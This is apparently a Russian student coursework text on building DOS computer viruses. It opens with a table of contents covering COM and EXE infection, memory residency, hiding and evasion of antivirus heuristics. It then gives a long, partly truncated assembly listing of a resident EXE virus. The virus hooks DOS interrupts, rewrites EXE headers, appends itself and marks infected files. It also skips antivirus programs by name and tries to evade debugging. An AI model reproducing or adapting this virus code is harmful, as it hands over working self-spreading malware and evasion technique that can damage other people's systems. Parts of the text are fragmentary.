Автор: Пользователь скрыл имя, 27 Февраля 2013 в 09:59, курсовая работа
Компьютерные вирусы со времени своего появления
распространились чрезвычайно широко . Сейчас уже
трудно найти человека,который бы ни разу не слышал
об этих " существах " .И вместе с тем подавляющее
большинство пользователей почти ничего не знают о
том, что это такое, и склонны приписывать виру-
ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6
ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM - программы ..................... 6
1.2 Как вирус может заразить
COM - файл .......................... 7
1.3 Работа вируса в
зараженной программе ................ 8
1.4 Как начинается
распространение вируса .............. 9
1.5 Начало работы ....................... 10
1.6 Вирус получает управление ........... 10
1.7 Восстанавливаем зараженную
программу ........................... 12
1.8 Запоминаем содержимое DTA ........... 12
1.9 Ищем подходящий файл ................ 13
1.10 Читаем исходные три байта ........... 15
1.11 Выполняем необходимые расчеты ....... 16
1.12 Проверяем файл на зараженность ...... 18
1.13 Заражаем COM - программу ............ 19
1.14 Восстанавливаем DTA ................. 20
1.15 Передаем управление
зараженной программе ................ 20
1.16 Область данных вирусной программы ... 21
1.17 Завершаем запускающую программу ..... 21
1.18 Текст нерезидентного COM - вируса ... 23
1.19 Комментарии ......................... 29
1.20 Испытание вируса .................... 29
ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
( TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных программах .............. 30
2.3 Алгоритм работы
резидентного COM - вируса ........... 31
2.4 Заголовок вируса .................... 34
2.5 Вирус начинает работу ............... 34
2.6 Сохраняем регистры процессора ....... 38
2.7 Создаем секцию
инициализации ....................... 39
2.8 Запрашиваем блок памяти ............. 41
2.9 Делаем вирус " незаметным " ......... 44
2.10 Получаем вектора прерываний ......... 46
2.11 Копируем вирусный код в память ...... 48
2.12 Устанавливаем вектора прерываний
на вирусные обработчики ............. 48
2.13 Пишем резидентную часть ............. 50
2.14 Заражаем COM - файл ................. 51
2.15 Восстанавливаем регистры ............ 56
2.16 Пишем обработчики прерываний ........ 57
2.17 Обработчик Int 13h .................. 58
2.18 Обработчик Int 21h .................. 60
2.19 Обработчик Int 24h .................. 62
2.20 Обработчик Int 2Fh .................. 62
2.21 Обработчик Int 28h .................. 64
2.22 Область данных вируса ............... 64
2.23 Процедура идентификации COMMAND.COM.. 65
2.24 Завершаем программу ................. 66
2.25 Текст резидентного COM - вируса ..... 67
2.26 Комментарии ......................... 81
2.27 Испытание вируса .................... 82
ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82
ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 82
1.1 Формат EXE - файла на диске ......... 82
1.2 Загрузка и выполнение
EXE - программы ..................... 84
1.3 Как вирус может заразить
EXE - файл .......................... 86
1.4 Работа вируса в
зараженной программе ................ 86
1.5 Начало работы ....................... 88
1.6 Вирус получает управление ........... 88
1.7 Ищем подходящий файл ................ 89
1.8 Читаем заголовок файла .............. 92
1.9 Производим необходимые
вычисления .......................... 93
1.10 Заражаем EXE - программу ............ 98
1.11 Восстанавливаем DTA ................. 99
1.12 Восстанавливаем точку входа ......... 100
1.13 Область данных вируса ............... 101
1.14 Используемые процедуры .............. 103
1.15 Работа завершена .................... 104
1.16 Полный текст
нерезидентного EXE - вируса ......... 104
1.17 Несколько слов об
испытании вируса .................... 112
ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE - вируса ........................ 113
2.2 Защита от
программ - антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического анализа .............. 116
2.4 Реализуем предложенный алгоритм ..... 119
2.5 Пишем промежуточный обработчик ...... 121
2.6 Защита от обнаружения вируса в файле. 122
2.7 Несколько слов о вредных
действиях вирусной программы......... 122
2.8 Полный текст резидентного
int 21h
jnc cs:found_size
to_r_2: jmp cs:r_2
found_size:mov descrypt,ax ;Установим ука-
mov cx,word ptr [new_dta + 01ch] ;нец файла ...
mov dx,word ptr [new_dta + 01ah]
sub dx,1
sbb cx,0
call cs:setpointer
jnc cs:read_last
jmp cs:find_next
read_last: mov cx,1 ;Считаем послед-
lea dx,last ;ний байт ...
call cs:read
jnc cs:compar
jmp cs:close_file
compar: cmp last,'7' ;Индикатор зара-
jne cs:mmm
jmp cs:find_next
mmm: xor cx,cx ;Считаем заголо-
xor dx,dx ;вок EXE - файла
call cs:setpointer
jnc cs:read_head
to_next: jmp cs:find_next
read_head: mov cx,27 ;
lea dx,header ;
call cs:read ;
jnc cs:next_step ;
jmp cs:restore_dta ;
next_step: mov ax,word ptr header[14h]
mov old_ip,ax
mov ax,word ptr header[16h]
mov old_cs,ax
;файла ...
mov ax,word ptr header[0eh]
mov old_ss,ax
mov ax,word ptr header[10h]
mov old_sp,ax
mov ax,word ptr header[04h]
mov cl,5
shl ax,cl
cmp ax,0f000h ;Файл длиннее
jna cs:good_size ;Нет !
jmp cs:find_next ;Да !
good_size: mov di,ax
sub ax,word ptr header[08h]
mov to_16h,ax ;Новое значение
;CS ...
mov ax,di
xor dx,dx
call cs:mover
mov f_seek_low,ax
mov f_seek_high,dx
cmp dx,word ptr [new_dta + 01ch] ;Файл содержит
jl cs:to_next ;Да !
ja cs:not_ovl ;Нет !
cmp ax,word ptr [new_dta + 01ah]
jae cs:not_ovl ;Нет !
jmp cs:find_next ;Да !
not_ovl: add ax,vir_len
adc dx,0
mov bx,512
div bx
cmp dx,0
je cs:round
inc ax
round: mov to_04h,ax ;Новую длину
mov to_02h,dx
mov word ptr header[02h],dx ;И заполним эти-
mov ax,to_04h ;ниями соответс-
;твующие
mov word ptr header[04h],ax ;поля заголовка
mov word ptr header[14h],0
mov ax,to_16h
mov word ptr header[16h],ax
mov word ptr header[0eh],ax
mov word ptr header[10h],to_new_stack + 96
mov sub_ds,10h
mov maska[0],'a'
xor dx,dx ;Запишем
xor cx,cx ;скорректирован-
call cs:setpointer ;ный заголовок
jc cs:close_file ;на диск ...
lea dx,header
mov cx,27
call cs:write
jc cs:close_file
mov dx,f_seek_low ;Установим ука-
mov cx,f_seek_high ;затель в файле
call cs:setpointer
jc cs:close_file
mov cx,2 ;Запишем начало
lea dx,end_file ;вируса ...
call cs:write
jc cs:close_file
lea dx,vir + 2 ;И остальную
mov cx,vir_len - 2 ;часть ...
call cs:write
close_file:xor ax,ax ;Закроем зара-
mov ah,3eh ;женный файл ...
mov bx,descrypt
int 21h
restore_dta:
push ds
mov ah,1ah
mov dx,bx_dta
mov ds,es_dta
int 21h
pop ds
exit_zarasa:
pop es ;И регистры ...
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
iret ;Выходим ...
;-----------------------------
; ______________________________
;|
;| Напишем новые обработчики INT 21h и INT 24h |
;|____________________________
;-----------------------------
to_new_21h equ $-vir
new_21h: jmp cs:start_21h
tg_infect db 0
start_21h: call cs:rest_code ;На всякий слу-
pushf
push di
push es
xor di,di ;Перехват
mov es,di ;Int 24h в
mov di,90h ;резидентном
mov word ptr es:[di],to_new_24h ;режиме
mov es:[di+2],cs
cmp ah,03bh ;Смена каталога?
jne cs:new_cmp_1
mov cs:tg_infect - 100h,1 ;Да - взводим
new_cmp_1: cmp ah,00eh ;Смена диска ?
jne cs:to_jump
mov cs:tg_infect - 100h,1 ;Да - взводим
to_jump: pop es
pop di
popf
db 0eah ;Переход на ста-
;рый обработчик
old_21h dw 0 ;INT 21h ...
old_21h_2 dw 0
;-----------------------------
to_new_24h equ $ - vir
new_24h: mov al,3 ;Вернем програм-
iret ;код ошибки ...
;-----------------------------
;/****************************
;Data area
new_dta db 128 dup (0) ;Новая DTA ...
maska db 61h,'.exe',0 ;Маска для
fn db 12 dup (' '),0 ;Место для имени
end_file db 0ebh ;Первые два бай-
db push_len ;в файле ...
header db 27 dup ( 0 ) ;Массив для
descrypt dw 0 ;Дескриптор ...
to_02h dw 0 ;Ячейки для
to_04h dw 0 ;хранения вычис-
to_16h dw 0 ;ляемых элемен-
my_ip dw 0 ;тов заголовка
my_cs dw 0 ;
my_16h dw 0 ;
my_ss dw 0 ;
my_sp dw 0 ;
old_ss dw 0 ;
old_sp dw 0 ;
f_seek_low dw 0 ;Младшая и стар-
f_seek_high dw 0 ;указателя ...
es_dta dw 0 ;Адрес старой
bx_dta dw 0 ;DTA ...
first_psp dw 0 ;Сегмент первого
es_save dw 0
to_new_stack equ $ - vir ;Смещение к
new_stack dw 50 dup ( 0 ) ;Новый стек ...
name_1 db 'ADIN' ;Файлы ,имена
name_2 db 'DINF' ;которых начина-
name_3 db 'DRWE' ;ются так,
name_4 db 'AIDS' ;заражать
name_5 db 'ANTI' ;нельзя !
name_6 db 'WEB'
inside db 0
vizitka db 'Programmed in Zhitomir'
db ' Politechnical Institute'
db 'FICT is the best!'
db ' (AU - ... ,virmaker)'
mes_len equ $ - vizitka
last db 0 ;Последний байт
;-----------------------------
setpointer proc ;Процедура уста-
mov ax,4200h ;новки указателя
mov bx,descrypt ;в файле ...
int 21h
ret
setpointer endp
read proc ;Процедура чте-
mov ah,3fh ;ния из файла
mov bx,descrypt
int 21h
ret
read endp
write proc ;Процедура запи-
mov ah,40h ;си в файл ...
mov bx,descrypt
int 21h
ret
write endp
mover proc ;Процедура умно-
mov cx,04h ;жения на 16
left: shl dx,1 ;двойного слова
shl ax,1 ;DX : CX
adc dx,00h
loop cs:left
ret
mover endp
rest_code proc ;Процедура вос-
push bx ;в памяти текст
push cx ;промежуточного
push si ;обработчика
push di
push es
pushf
cli
mov es,cs:first_psp - 100h
xor di,di
mov si,offset cs:to_bios - 100h
mov cx,code_len
loader: mov bl,byte ptr cs:[si]
mov byte ptr es:[di],bl
inc si
inc di
loop cs:loader
sti
popf
pop es
pop di
pop si
pop cx
pop bx
ret
rest_code endp
search proc ;Процедура
push ax ;сравнивает
push cx ;строки ...
mov inside,1
lea di,fn
new_cmp: mov al,byte ptr ds:[si]
cmp byte ptr ds:[di],al
jne cs:not_equal
inc di
inc si
loop cs:new_cmp
jmp cs:to_ret
not_equal: mov inside,0
to_ret: pop cx
pop ax
ret
search endp
;-----------------------------
to_bios: push ax ;Текст промежу-
push ds ;точного обра-
pushf ;ботчика Int 21h
xor ax,ax
mov ds,ax
cmp word ptr ds:[0006h],0070h ;Int 01h пере-
jne cs:uuuuu
popf
pop ds
pop ax
db 0eah ;На вирусный...
our_21h_ip dw to_new_21h
our_21h_cs dw 00h
uuuuu: popf
pop ds
pop ax
db 0eah ;На системный...
sys_21h_ip dw 00h
sys_21h_cs dw 00h
code_len equ $ - to_bios ;Длина обработ-
;-----------------------------
db '7' ;Последний байт
vir_len equ $-vir ;Длина вируса
vir_par equ ($-vir + 0fh)/16;И в параграфах
prg ends
end vir
Как видите, в вирусе приняты определенные меры для
того, чтобы он не
смог заразить антивирусные
граммы .Дело в том,что все ( или почти все ) анти-
вирусы при запуске
проверяют себя на
и при обнаружении изменений своего кода выдают со-
ответствующее сообщение . Поэтому вирус проверяет,